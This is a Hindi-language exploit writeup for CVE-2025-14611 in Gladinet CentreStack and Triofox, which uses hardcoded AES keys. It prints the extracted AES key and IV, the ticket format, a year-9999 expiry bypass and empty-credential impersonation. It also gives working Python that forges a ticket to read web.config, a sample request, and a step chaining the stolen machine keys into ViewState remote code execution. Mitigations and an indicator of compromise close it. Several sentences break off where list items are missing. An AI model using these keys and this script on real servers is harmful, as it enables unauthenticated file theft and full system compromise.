
CVE-2025-14611 CentreStack and Triofox full Poc/Exploit
यह कमजोरी Gladinet CentreStack और Triofox उत्पादों में हार्डकोडेड क्रिप्टोग्राफिक कुंजियों से उत्पन्न होती है, जो नकली एक्सेस टिकटों के माध्यम से मनमानी फ़ाइल पढ़ने में सक्षम बनाती है। AES-256 एन्क्रिप्शन कार्यान्वयन स्थिर, अपरिवर्तनीय कुंजियों का उपयोग करता है जो सीधे एप्लिकेशन बाइनरी (GladCtrl64.dll) में एम्बेडेड होती हैं, जिससे कोई भी हमलावर जो इन कुंजियों को निकालता है, वह:
यह कमजोरी Gladinet CentreStack और Triofox के सभी संस्करणों को 16.12.10420.56791 से पहले प्रभावित करती है और कम से कम नवंबर 2025 से जंगली में सक्रिय रूप से शोषण किया जा रहा है।
कमजोरी इस बात से शुरू होती है कि क्रिप्टोग्राफिक कुंजियाँ GladCtrl64.dll में कैसे उत्पन्न और संग्रहीत की जाती हैं। GenerateSecKey और GenerateSecKey1 फ़ंक्शन AES एन्क्रिप्शन कुंजी और इनिशियलाइज़ेशन वेक्टर (IV) प्रदान करने के लिए जिम्मेदार हैं।
कुंजी निर्माण प्रवाह:
जब CentreStack सर्वर एप्लिकेशन शुरू होता है, तो SysKeyMgr क्लास AccessKeyMgr64.GetSysEncKey को कॉल करता है, जो GladCtrl64.dll में स्थित GenerateSecKey को आमंत्रित करता है। यह फ़ंक्शन:
PSTR sub_180001000(wchar16* arg1)
{
int32_t cbMultiByte = WideCharToMultiByte(CodePage: 0xfde9, dwFlags: 0,
lpWideCharStr: arg1, cchWideChar: 0xffffffff, lpMultiByteStr: nullptr,
cbMultiByte: 0, lpDefaultChar: nullptr, lpUsedDefaultChar: nullptr);
if (cbMultiByte != 0) {
PSTR lpMultiByteStr = sub_1800012e0(sx.q(cbMultiByte + 2));
if (lpMultiByteStr != 0) {
if (WideCharToMultiByte(CodePage: 0xfde9, dwFlags: 0, lpWideCharStr: arg1,
cchWideChar: 0xffffffff, lpMultiByteStr, cbMultiByte,
lpDefaultChar: nullptr, lpUsedDefaultChar: nullptr) != 0)
return lpMultiByteStr;
sub_180001290(lpMultiByteStr);
}
}
return nullptr;
}
यह फ़ंक्शन UTF-16LE एन्कोडेड स्ट्रिंग्स को Windows API WideCharToMultiByte का उपयोग करके कोड पेज 0xfde9 (UTF-8) के साथ UTF-8 में परिवर्तित करता है। स्रोत डेटा दो स्थैतिक मेमोरी स्थानों पर संग्रहीत है:
महत्वपूर्ण निष्कर्ष: ये स्ट्रिंग्स सॉफ़्टवेयर के किसी भी इंस्टॉलेशन में कभी नहीं बदलती हैं। GenerateSecKey फ़ंक्शन का नाम भ्रामक है—यह गतिशील रूप से कुंजियाँ उत्पन्न नहीं करता है बल्कि केवल बाइनरी से पूर्व-मौजूद स्थैतिक स्ट्रिंग्स लौटाता है।
रिवर्स इंजीनियरिंग विश्लेषण के माध्यम से, हार्डकोडेड कुंजियाँ GladCtrl64.dll के .data अनुभाग से निकाली गईं:
मेमोरी 0x18000c000 पर (कुंजी स्रोत):
0d 4e c7 8f 0c ff 03 8c e5 67 5f 4e 3e 66 3a 79
0c ff e5 65 2c 67 01 30 a6 7e e6 65 01 30 e5 4e
72 82 17 52 8c 54 ce 9e f4 5d e9 5a 49 7b fd 56
84 76 d7 53 03 8c e5 67 05 80 27 59 1a 59 a4 8b
...
जब UTF-16LE से UTF-8 में डिकोड किया जाता है, तो यह चीनी पाठ उत्पन्न करता है:
不过,调查也显示,日本、约旦、以色列和黎巴嫩等国的受调查者大多认为美国仍将保持自己的超级大国地位...
मेमोरी 0x18000c2c0 पर (IV स्रोत):
6d 6f 44 72 69 76 65 00 // "moDriv" ASCII/UTF-16LE में
65 00 6f 30 01 30 c9 30 e9 30 a4 30 d6 30 68 30
57 30 66 30 de 30 a6 30 f3 30 c8 30 67 30 4d 30
...
डिकोड होने पर, यह उत्पन्न करता है:
moDriveは、ドライブとしてマウントできるので、フォルダコピー感覚で使えて超快適だが...
अंतिम क्रिप्टोग्राफिक कुंजियाँ:
एप्लिकेशन AES-256 कुंजी के रूप में UTF-8 एन्कोडेड कुंजी स्रोत के पहले 32 बाइट्स का उपयोग करता है, और इनिशियलाइज़ेशन वेक्टर के रूप में UTF-8 एन्कोडेड IV स्रोत के पहले 16 बाइट्स का:
AES-256 कुंजी: e4b88de8bf87efbc8ce8b083e69fa5e4b99fe698bee7a4baefbc8ce697a5e69c
AES IV: 6d6f4472697665e381afe38081e38389
कमजोरी का शोषण filesvr.dn HTTP हैंडलर के माध्यम से किया जाता है, जो GladinetStorage.FileDownloadHandler क्लास से मैप किया गया है। यह हैंडलर t क्वेरी पैरामीटर के माध्यम से पारित एन्क्रिप्टेड एक्सेस टिकटों को संसाधित करता है।
एक्सेस टिकट संरचना:
एक्सेस टिकट नई-पंक्ति-पृथक फ़ील्ड होते हैं जो AES-256-CBC के साथ एन्क्रिप्ट किए जाते हैं:
पंक्ति 0: फ़ाइलपथ (सर्वर पर निरपेक्ष पथ)
पंक्ति 1: उपयोगकर्ता नाम (अनुकरण करने के लिए Windows खाता)
पंक्ति 2: पासवर्ड (उस खाते के लिए क्रेडेंशियल्स)
पंक्ति 3: टाइमस्टैम्प (टिकट निर्माण समय)
डिक्रिप्शन प्रक्रिया:
t पैरामीटर प्राप्त करता है और कस्टम स्वच्छता करता है, URL-सुरक्षित वर्णों को स्वैप करता है (: → +, | → /)AccessTicket.Decrypt को कॉल किया जाता है, जो स्थैतिक SysKey (पहले 32 बाइट्स) और SysKey1 (पहले 16 बाइट्स) प्राप्त करता हैटाइमस्टैम्प सत्यापन बायपास:
हैंडलर टिकट टाइमस्टैम्प की तुलना वर्तमान सर्वर समय से करता है। यदि टिकट 4 घंटे से अधिक पुराना है, तो इसे अस्वीकार कर दिया जाता है। हालाँकि, हमलावर टाइमस्टैम्प को वर्ष 9999 पर सेट कर सकते हैं, जिससे एक टिकट बनता है जो कभी समाप्त नहीं होता:
9999-11-27 14:52:04.009217
यह एक स्थायी बैकडोर बनाता है जिसे अनिश्चित काल तक पुन: उपयोग किया जा सकता है।
डिक्रिप्शन के बाद, हैंडलर उपयोगकर्ता नाम और पासवर्ड फ़ील्ड निकालता है और एक प्रतिरूपण संदर्भ आरंभ करने का प्रयास करता है। महत्वपूर्ण कमजोरी: जब दोनों फ़ील्ड खाली स्ट्रिंग होती हैं, तो प्रतिरूपण तर्क विफल हो जाता है और IIS एप्लिकेशन पूल आइडेंटिटी पर वापस आ जाता है।
यह अप्रमाणित मनमानी फ़ाइल पढ़ने की अनुमति देता है, क्योंकि एप्लिकेशन उन्नत विशेषाधिकारों के साथ चलता है लेकिन किसी वैध क्रेडेंशियल की आवश्यकता नहीं होती है।
उदाहरण दुर्भावनापूर्ण टिकट:
C:\Program Files (x86)\Gladinet Cloud Enterprise\root\web.config
[खाली]
[खाली]
9999-11-27 14:52:04.009217
नवंबर 2025 से सक्रिय शोषण देखा गया है। हमलावर इस पैटर्न का पालन करते हैं:
चरण 1: एक्सेस टिकट बनाना
निकाली गई कुंजियों का उपयोग करके, हमलावर web.config को लक्षित करने वाले एन्क्रिप्टेड टिकट बनाते हैं:
from Crypto.Cipher import AES
from Crypto.Util.Padding import pad
import base64
AES_KEY = bytes.fromhex('e4b88de8bf87efbc8ce8b083e69fa5e4b99fe698bee7a4baefbc8ce697a5e69c')
AES_IV = bytes.fromhex('6d6f4472697665e381afe38081e38389')
ticket = "C:\\Program Files (x86)\\Gladinet Cloud Enterprise\\root\\web.config\n\n\n9999-11-27 14:52:04.009217"
cipher = AES.new(AES_KEY, AES.MODE_CBC, AES_IV)
ciphertext = cipher.encrypt(pad(ticket.encode('utf-8'), 16))
b64 = base64.b64encode(ciphertext).decode('ascii')
url_safe = b64.replace('+', ':').replace('/', '|')
चरण 2: दुर्भावनापूर्ण अनुरोध भेजना
बनाया गया टिकट कमजोर एंडपॉइंट पर भेजा जाता है:
GET /storage/filesvr.dn?t=vghpI7EToZUDIZDdprSubL3mTZ2... HTTP/1.1
Host: vulnerable-server.com
चरण 3: मशीन कुंजियाँ निकालना
प्रतिक्रिया में मशीन कुंजियों के साथ web.config फ़ाइल होती है:
<machineKey
validationKey="ABC123..."
decryptionKey="DEF456..."
validation="SHA1"
decryption="AES"
/>
चरण 4: CVE-2025-30406 के साथ श्रृंखलाबद्ध करना
ये मशीन कुंजियाँ ViewState डीसीरियलाइज़ेशन हमलों को सक्षम करती हैं, जो रिमोट कोड निष्पादन की ओर ले जाती हैं। हमलावर निकाली गई कुंजियों के साथ हस्ताक्षरित दुर्भावनापूर्ण ViewState पेलोड तैयार करते हैं, जिससे पूर्ण सिस्टम समझौता होता है।
देखे गए शोषण प्रयासों से (दिसंबर 2025):
हमलावर से एन्क्रिप्टेड टिकट:
vghpI7EToZUDIZDdprSubL3mTZ2:aCLI:8Zra5AOPvX4TEEXlZiueqNysfRx7Dsd3P5l6eiYyDiG8Lvm0o41m:ZDplEYEsO5ksZajiXcsumkDyUgpV5VLxL|372varAu
डिक्रिप्टेड सामग्री:
C:\Program Files (x86)\Gladinet Cloud Enterprise\root\web.config
[खाली]
[खाली]
9999-11-27 14:52:04.009217
हमले का स्रोत: IP पता 147.124.216[.]205
लक्ष्य संगठन: स्वास्थ्य सेवा, प्रौद्योगिकी और पेशेवर सेवा क्षेत्रों में 9 पुष्ट पीड़ित
हमले की समयरेखा: नवंबर 2025 में प्रारंभिक शोषण प्रयास, दिसंबर 2025 में तीव्रता
CVE-2025-14611 क्रिप्टोग्राफिक कुंजी प्रबंधन में एक गंभीर विफलता का प्रतिनिधित्व करता है। स्थिर, अपरिवर्तनीय कुंजियों को सीधे एप्लिकेशन बाइनरी में एम्बेड करके, Gladinet ने एक सार्वभौमिक मास्टर कुंजी बनाई जो सभी इंस्टॉलेशन में काम करती है। यह कमजोरी कई गंभीर सुरक्षा विफलताओं को प्रदर्शित करती है:
शमन अनुशंसाएँ:
web.config में मशीन कुंजियाँ घुमाएँt पैरामीटर के साथ /storage/filesvr.dn तक पहुँच के लिए IIS लॉग की निगरानी करेंvghpI7EToZUDIZDdprSubL3mTZ2 (web.config पथ का एन्क्रिप्टेड प्रतिनिधित्व)समझौता का संकेतक:
कोई भी HTTP अनुरोध जिसमें शामिल हो:
/storage/filesvr.dn?t=vghpI7EToZUDIZDdprSubL3mTZ2
यह सबस्ट्रिंग विशिष्ट रूप से web.config पुनर्प्राप्ति के लिए इस कमजोरी का शोषण करने के प्रयासों की पहचान करता है।